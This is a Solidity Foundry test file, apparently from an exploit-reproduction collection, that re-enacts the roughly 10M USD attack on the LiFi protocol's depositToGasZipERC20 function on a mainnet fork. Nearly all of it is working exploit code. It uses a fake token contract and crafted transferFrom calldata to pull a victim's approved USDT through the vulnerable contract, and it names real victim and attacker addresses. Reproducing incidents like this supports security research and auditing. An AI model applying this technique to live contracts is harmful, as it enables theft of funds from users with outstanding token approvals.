-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Lifiprotocol_exp.sol
130 lines (110 loc) · 4.5 KB
/
Lifiprotocol_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo -- Total Lost : ~10M USD
// TX : https://app.blocksec.com/explorer/tx/eth/0xd82fe84e63b1aa52e1ce540582ee0895ba4a71ec5e7a632a3faa1aff3e763873
// Attacker : https://etherscan.io/address/0x8b3cb6bf982798fba233bca56749e22eec42dcf3
// Attack Contract : https://etherscan.io/address/0x986aca5f2ca6b120f4361c519d7a49c5ac50c240
// GUY : https://x.com/danielvf/status/1505689981385334784
library LibSwap {
struct SwapData {
address callTo;
address approveTo;
address sendingAssetId;
address receivingAssetId;
uint256 fromAmount;
bytes callData;
bool requiresDeposit;
}
}
interface LiFiDiamond {
function depositToGasZipERC20(
LibSwap.SwapData calldata _swapData,
uint256 _destinationChains,
address _recipient
) external;
}
contract ContractTest is Test {
IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
LiFiDiamond Vulncontract = LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address Victim = 0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;
Money money;
function setUp() public {
vm.createSelectFork("mainnet", 20_318_962);
}
function testExpolit() public {
emit log_named_decimal_uint(
"[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), USDT.decimals()
);
attack();
emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), USDT.decimals());
}
function attack() public {
money = new Money();
LibSwap.SwapData memory swapData = LibSwap.SwapData({
callTo: address(USDT),
approveTo: address(this),
sendingAssetId: address(money),
receivingAssetId: address(money),
fromAmount: 1,
callData: abi.encodeWithSelector(bytes4(0x23b872dd), address(Victim), address(this), 2_276_295_880_553),
requiresDeposit: true
});
Vulncontract.depositToGasZipERC20(swapData, 0, address(this));
}
fallback() external payable {}
}
contract Money is Test {
IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);
IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
LiFiDiamond Vulncontract = LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address Victim = 0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;
address other = 0xF929bA2AEec16cFfcfc66858A9434E194BAaf80D;
address owner;
Help help;
constructor() payable {
owner = msg.sender;
}
function balanceOf(
address who
) external view returns (uint256) {
return 1;
}
function allowance(address _owner, address spender) external view returns (uint256) {
return 0;
}
function approve(address spender, uint256 amount) external returns (bool) {
help = new Help();
help.sendto{value: 1}(address(Vulncontract));
return true;
}
fallback() external payable {}
}
contract Help is Test {
IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);
IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
LiFiDiamond Vulncontract = LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address Victim = 0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;
address owner;
constructor() payable {
owner = msg.sender;
}
function sendto(
address who
) external payable {
(bool success, bytes memory retData) = address(Vulncontract).call{value: msg.value}("");
require(success, "Error");
selfdestruct(payable(msg.sender));
}
fallback() external payable {}
}